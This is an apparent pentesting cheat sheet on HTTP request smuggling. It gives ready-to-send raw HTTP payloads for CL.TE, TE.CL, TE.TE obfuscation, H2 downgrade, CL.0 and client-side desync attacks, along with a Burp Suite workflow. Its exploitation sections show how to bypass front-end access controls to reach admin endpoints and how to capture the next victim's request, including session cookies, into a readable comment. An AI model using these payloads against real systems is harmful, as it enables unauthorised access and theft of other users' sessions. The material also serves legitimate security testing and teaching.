HTTP Request Smuggling
HTTP request smuggling: CL.TE and TE.CL detection with timing and differential attacks, TE.TE obfuscation, HTTP/2 downgrading, response queue poisoning, CL.0, client-side desync, and the full Burp HTTP Request Smuggler workflow.
What is HTTP Request Smuggling
Modern web architectures chain a front-end (load balancer / CDN) and back-end server. When they disagree on where one HTTP request ends and the next begins — using the Content-Length (CL) and Transfer-Encoding (TE) headers — an attacker can “smuggle” part of their request into the start of the next victim’s request. This can bypass access controls, poison other users’ requests, steal credentials, and achieve RCE.
The three classic variants
| Variant | Front-end uses | Back-end uses |
|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding |
| TE.CL | Transfer-Encoding | Content-Length |
| TE.TE | Transfer-Encoding | Transfer-Encoding (one ignores obfuscated TE) |
Burp Setup — HTTP Request Smuggler Extension
Install from the BApp Store: HTTP Request Smuggler.
Repeater → right-click → Smuggle probe or use the extension’s “Launch” button from the Target tab.
Set Repeater connection to HTTP/1 (Menu → Repeater → uncheck “HTTP/2”):
Detection: Timing technique (safe, no side effects)
CL.TE timing — send a partial TE body
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
The front-end reads Content-Length: 4 (bytes 1\r\nA\r\n) and forwards immediately. The back-end waits for the terminating 0 chunk — which never comes. If the response hangs for ~10 seconds then returns → CL.TE confirmed.
TE.CL timing — send a complete TE body but short CL
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
X
Front-end sees TE, reads until 0\r\n\r\n, then forwards 6 bytes (0\r\n\r\nX). Back-end reads Content-Length: 6, waits for the remaining body bytes. If it hangs → TE.CL confirmed.
Detection: Differential response technique (confirms smuggling, may affect users)
CL.TE differential
Send two requests in quick succession. The first smuggles a prefix of a second request:
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404doesnotexist HTTP/1.1
Foo: x
Immediately send a normal request. If the second response is a 404 (or hits the smuggled path instead of your actual path) → CL.TE confirmed.
TE.CL differential
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /404doesnotexist HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
In Burp Repeater, disable Update Content-Length (uncheck in the toolbar) when crafting TE.CL payloads — you set it manually.
TE.TE — obfuscating the Transfer-Encoding header
When both servers support TE, one of them can be tricked into ignoring it by obfuscating:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: [tab]chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Try each variant. If one server honours it and the other ignores it, you have a TE.TE variant of CL.TE or TE.CL.
Exploiting: Bypass front-end access control
Smuggle a request to a restricted back-end path the front-end blocks:
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin/deleteUser?username=carlos HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
The front-end sees a POST to / (allowed). The back-end sees the GET to /admin/deleteUser.
Exploiting: Capture other users’ requests
Poison the pipeline to capture the next victim’s full request (including cookies / tokens) into a storage endpoint you can read:
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: session=YOUR_SESSION
Content-Length: 400
csrf=YOUR_CSRF&postId=5&name=x&email=x@x.com&comment=
The next victim’s request gets appended to the comment= field. Read the stored comment to retrieve their session cookie.
HTTP/2 Request Smuggling
HTTP/2 is binary and has no CL/TE ambiguity — but many front-ends downgrade to HTTP/1 when forwarding to the back-end, reintroducing the vulnerability.
H2.CL — inject a Content-Length in an HTTP/2 request
In Burp Repeater (switch to HTTP/2):
Add a content-length header manually set to a value shorter than the actual body. The front-end uses HTTP/2 framing; the back-end reads the HTTP/1 downgraded request using the injected CL, leaving the remainder as the start of the next request.
H2.TE — inject Transfer-Encoding
transfer-encoding: chunked
HTTP/2 specs forbid TE headers — if the front-end strips it but the back-end processes it, you have H2.TE.
Response queue poisoning
Smuggle a complete second request (not just a prefix). The smuggled response is served to the next legitimate user — exposing their response to you or vice versa.
CL.0 (single-request desync)
Some servers ignore CL entirely for certain endpoints (GET endpoints that don’t read the body). The front-end uses CL to delimit the request; the back-end ignores it.
POST /static/resource HTTP/1.1
Host: TARGET
Content-Length: 34
GET /admin HTTP/1.1
Foo: x
Test endpoints that serve static files, images, or 404 pages — they’re most likely to ignore CL.
Client-side desync (browser-initiated)
No proxy needed. A browser fetch() can trigger desync if the front-end doesn’t validate the request and a static/redirect endpoint ignores the body:
fetch('https://TARGET/static.js', {
method: 'POST',
body: 'GET /admin HTTP/1.1\r\nHost: TARGET\r\n\r\n',
mode: 'no-cors',
credentials: 'include'
});
Burp Suite full workflow
- Install HTTP Request Smuggler from BApp Store.
- In Target → Site map, right-click the host → Smuggle probe — auto-detects CL.TE, TE.CL, H2.CL, H2.TE.
- Confirm manually in Repeater using timing technique.
- Disable “Update Content-Length” in Repeater toolbar when crafting manual payloads.
- Use HTTP/1 connection mode for classic variants (Repeater menu).
- Use HTTP/2 connection mode for H2.* variants.
- Turbo Intruder (BApp) for high-speed attacks like capturing user requests.